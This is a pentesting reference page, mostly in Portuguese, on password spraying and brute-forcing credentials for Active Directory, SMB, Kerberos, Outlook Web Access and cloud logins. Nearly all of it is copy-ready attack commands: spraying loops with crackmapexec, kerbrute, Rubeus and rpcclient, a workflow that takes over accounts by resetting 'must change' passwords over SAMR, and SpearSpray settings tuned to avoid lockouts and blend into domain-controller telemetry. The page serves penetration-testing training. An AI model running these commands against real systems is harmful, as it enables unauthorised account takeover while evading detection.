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233 lines
11 KiB
Markdown
233 lines
11 KiB
Markdown
# Password Spraying / Brute Force
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{{#include ../../banners/hacktricks-training.md}}
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## **Password Spraying**
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Uma vez que você encontrou vários **valid usernames** pode tentar as **common passwords** mais usadas (tenha em mente a password policy do ambiente) com cada um dos usuários descobertos.\
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Por **default** o **minimum** **password** **length** é **7**.
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Listas de common usernames também podem ser úteis: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
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Observe que você **could lockout some accounts if you try several wrong passwords** (por padrão mais de 10).
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### Get password policy
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Se você tiver algumas user credentials ou um shell como domain user você pode **get the password policy with**:
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```bash
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# From Linux
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crackmapexec <IP> -u 'user' -p 'password' --pass-pol
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enum4linux -u 'username' -p 'password' -P <IP>
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rpcclient -U "" -N 10.10.10.10;
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rpcclient $>querydominfo
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ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
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# From Windows
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net accounts
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(Get-DomainPolicy)."SystemAccess" #From powerview
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```
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### Exploração a partir de Linux (ou todos)
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- Usando **crackmapexec:**
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```bash
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crackmapexec smb <IP> -u users.txt -p passwords.txt
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# Local Auth Spray (once you found some local admin pass or hash)
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## --local-auth flag indicate to only try 1 time per machine
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crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
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```
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- Usando [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
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```bash
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# Password Spraying
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./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
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# Brute-Force
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./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
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```
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- [**spray**](https://github.com/Greenwolf/Spray) _**(você pode indicar o número de tentativas para evitar bloqueios):**_
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```bash
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spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
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```
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- Usando [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NÃO RECOMENDADO, ÀS VEZES NÃO FUNCIONA
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```bash
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python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
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python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
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```
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- Com o módulo `scanner/smb/smb_login` do **Metasploit**:
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.png>)
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- Usando **rpcclient**:
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```bash
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# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
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for u in $(cat users.txt); do
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rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
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done
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```
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#### Do Windows
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- Com a versão do [Rubeus](https://github.com/Zer1t0/Rubeus) com o brute module:
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```bash
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# with a list of users
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.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
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# check passwords for all users in current domain
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.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
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```
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- Com [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Ele pode gerar usuários do domínio por padrão e obterá a política de senhas do domínio e limitará as tentativas de acordo com ela):
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```bash
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Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
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```
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- Com [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
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```
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Invoke-SprayEmptyPassword
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```
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### Identificar e Assumir Contas "Password must change at next logon" (SAMR)
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Uma técnica de baixo ruído é testar uma password benign/empty e identificar contas que retornem STATUS_PASSWORD_MUST_CHANGE, o que indica que a password foi forçada a expirar e pode ser alterada sem conhecer a anterior.
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Fluxo de trabalho:
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- Enumerar utilizadores (RID brute via SAMR) para construir a lista de alvos:
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{{#ref}}
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../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
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{{#endref}}
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```bash
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# NetExec (null/guest) + RID brute to harvest users
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netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
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```
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- Spray uma password vazia e continue nos hits para capturar contas que devem mudar no próximo logon:
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```bash
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# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
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netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
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```
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- Para cada acerto, altere a senha via SAMR com o módulo do NetExec (não é necessária a senha antiga quando "must change" está definido):
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```bash
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# Strong complexity to satisfy policy
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env NEWPASS='P@ssw0rd!2025#' ; \
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netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
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# Validate and retrieve domain password policy with the new creds
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netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
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```
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Notas operacionais:
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- Certifique-se de que o relógio do host esteja sincronizado com o DC antes de operações baseadas em Kerberos: `sudo ntpdate <dc_fqdn>`.
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- Um [+] sem (Pwn3d!) em alguns módulos (por exemplo, RDP/WinRM) significa que as creds são válidas, mas a conta não possui direitos de logon interativo.
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## Brute Force
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```bash
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legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
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```
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### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
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Kerberos pre-auth–based spraying reduz o ruído em comparação com tentativas de bind SMB/NTLM/LDAP e se alinha melhor com as políticas de lockout do AD. SpearSpray combina direcionamento orientado por LDAP, um motor de padrões e consciência de políticas (domain policy + PSOs + buffer badPwdCount) para sprayar de forma precisa e segura. Também pode marcar principais comprometidos no Neo4j para pathing do BloodHound.
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Key ideas:
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- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
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- Domain lockout policy + PSO-aware filtering to leave a configurable attempt buffer (threshold) and avoid locking users.
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- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
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- Pattern-based, per-user password generation using variables like names and temporal values derived from each user’s pwdLastSet.
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- Throughput control with threads, jitter, and max requests per second.
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- Optional Neo4j integration to mark owned users for BloodHound.
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Basic usage and discovery:
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```bash
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# List available pattern variables
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spearspray -l
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# Basic run (LDAP bind over TCP/389)
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spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
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# LDAPS (TCP/636)
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spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
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```
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Direcionamento e controle de padrão:
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```bash
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# Custom LDAP filter (e.g., target specific OU/attributes)
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spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
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-q "(&(objectCategory=person)(objectClass=user)(department=IT))"
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# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
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spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
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```
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Controles de furtividade e segurança:
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```bash
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# Control concurrency, add jitter, and cap request rate
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spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
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# Leave N attempts in reserve before lockout (default threshold: 2)
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spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
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```
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Neo4j/BloodHound enriquecimento:
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```bash
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spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
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```
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Visão geral do sistema de padrões (patterns.txt):
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```text
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# Example templates consuming per-user attributes and temporal context
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{name}{separator}{year}{suffix}
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{month_en}{separator}{short_year}{suffix}
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{season_en}{separator}{year}{suffix}
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{samaccountname}
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{extra}{separator}{year}{suffix}
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```
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Available variables include:
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- {name}, {samaccountname}
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- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
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- Composition helpers and org token: {separator}, {suffix}, {extra}
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Operational notes:
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- Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info.
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- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe.
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- Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in.
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> Tip: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.
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## Outlook Web Access
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Existem múltiplas ferramentas para p**assword spraying outlook**.
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- Com [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
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- com [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
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- Com [Ruler](https://github.com/sensepost/ruler) (confiável!)
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- Com [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
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- Com [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
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Para usar qualquer uma dessas ferramentas, você precisa de uma lista de usuários e de uma password / uma pequena lista de passwords para spray.
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```bash
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./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
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[x] Failed: larsson:Summer2020
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[x] Failed: cube0x0:Summer2020
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[x] Failed: a.admin:Summer2020
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[x] Failed: c.cube:Summer2020
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[+] Success: s.svensson:Summer2020
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```
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## Google
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- [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py)
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## Okta
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- [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py)
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- [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
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- [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
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## Referências
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- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
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- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)
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- [https://github.com/Greenwolf/Spray](https://github.com/Greenwolf/Spray)
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- [https://github.com/Hackndo/sprayhound](https://github.com/Hackndo/sprayhound)
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- [https://github.com/login-securite/conpass](https://github.com/login-securite/conpass)
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- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
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- [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
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- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
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- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
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- [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
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{{#include ../../banners/hacktricks-training.md}}
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